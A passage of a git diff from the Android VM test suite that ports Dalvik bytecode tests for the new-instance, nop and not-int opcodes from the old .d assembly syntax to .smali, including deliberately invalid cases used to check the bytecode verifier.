-       new-instance v1, dot/junit/opcodes/new_instance/Test_new_instanceNNNNN
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/TTestClass/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali
new file mode 100644
index 0000000..0a8cf4e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_5.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/Test_new_instanceNNNNN;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/TTestClass;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.d
deleted file mode 100644
index 0565aea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_6.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 6
-
-       new-instance v1, java/lang/String
-       const-string v3, "abc"
-       invoke-direct {v1, v3}, java/lang/String/<init>(Ljava/lang/String;)V
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali
new file mode 100644
index 0000000..6dccada
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_6.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 6
+
+       new-instance v1, Ljava/lang/String;
+       const-string v3, "abc"
+       invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.d
deleted file mode 100644
index f2e7fcf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_7.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       new-instance v1, [Ljava/lang/Object;
-; intentionally return v2 ("this")           
-       return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali
new file mode 100644
index 0000000..6cc2a19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_7.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v1, [Ljava/lang/Object;
+# intentionally return v2 ("this")           
+       return-object v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.d
deleted file mode 100644
index f474fe9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_8.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/d/TestInterface
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/d/TestInterface/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali
new file mode 100644
index 0000000..bb2818a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_8.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/TestInterface;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/TestInterface;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.d
deleted file mode 100644
index 7af9f46..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_9.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-Label5:
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/d/TestAbstractClass
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/d/TestAbstractClass/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali
new file mode 100644
index 0000000..cc06091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_9.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+:Label5
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/TestAbstractClass;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/TestAbstractClass;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d
deleted file mode 100644
index ea321c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.d
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestAbstractClass.java
-.interface public dot.junit.opcodes.new_instance.d.TestInterface
-
-
-.source TestAbstractClass.java
-.class abstract public dot.junit.opcodes.new_instance.d.TestAbstractClass
-.super java/lang/Object
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestAbstractClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestAbstractClass.smali
new file mode 100644
index 0000000..2c96a7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestAbstractClass.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public abstract Ldot/junit/opcodes/new_instance/d/TestAbstractClass;
+.super Ljava/lang/Object;
+.source "TestAbstractClass.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestInterface.smali
new file mode 100644
index 0000000..19489ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/TestAbstractClass.smalis/TestInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/new_instance/d/TestInterface;
+.super Ljava/lang/Object;
+.source "TestAbstractClass.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.d
deleted file mode 100644
index 59a85e1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_nop_1.java
-.class public dot.junit.opcodes.nop.d.T_nop_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       move-object v1, v2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 4
-       const v1, 12345678
-       nop
-       nop
-       nop
-       nop
-       nop
-       move v3, v1
-       nop
-       nop
-       nop
-       if-ne v1, v3, Label1
-       const/4 v1, 1
-       return v1
-Label1:
-       const/4 v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali
new file mode 100644
index 0000000..9da8aa7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_nop_1.java"
+.class  public Ldot/junit/opcodes/nop/d/T_nop_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       move-object v1, v2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 4
+       const v1, 12345678
+       nop
+       nop
+       nop
+       nop
+       nop
+       move v3, v1
+       nop
+       nop
+       nop
+       if-ne v1, v3, :Label1
+       const/4 v1, 1
+       return v1
+:Label1
+       const/4 v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.d
deleted file mode 100644
index 2b04225..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_1.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       not-int v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali
new file mode 100644
index 0000000..ccaec7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_1.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.d
deleted file mode 100644
index 3e1ff4a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_2.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       not-int v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali
new file mode 100644
index 0000000..1a2e4ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_2.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       not-int v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.d
deleted file mode 100644
index a42823e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_3.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       not-int v0, v5
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali
new file mode 100644
index 0000000..5c95cfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_3.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v5
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.d
deleted file mode 100644
index 1182ead..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_4.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 5
-
-       not-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali
new file mode 100644
index 0000000..02e00eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_4.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.d
deleted file mode 100644
index a144392..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_5.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 5
-
-       not-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali
new file mode 100644
index 0000000..1300cb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_5.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method
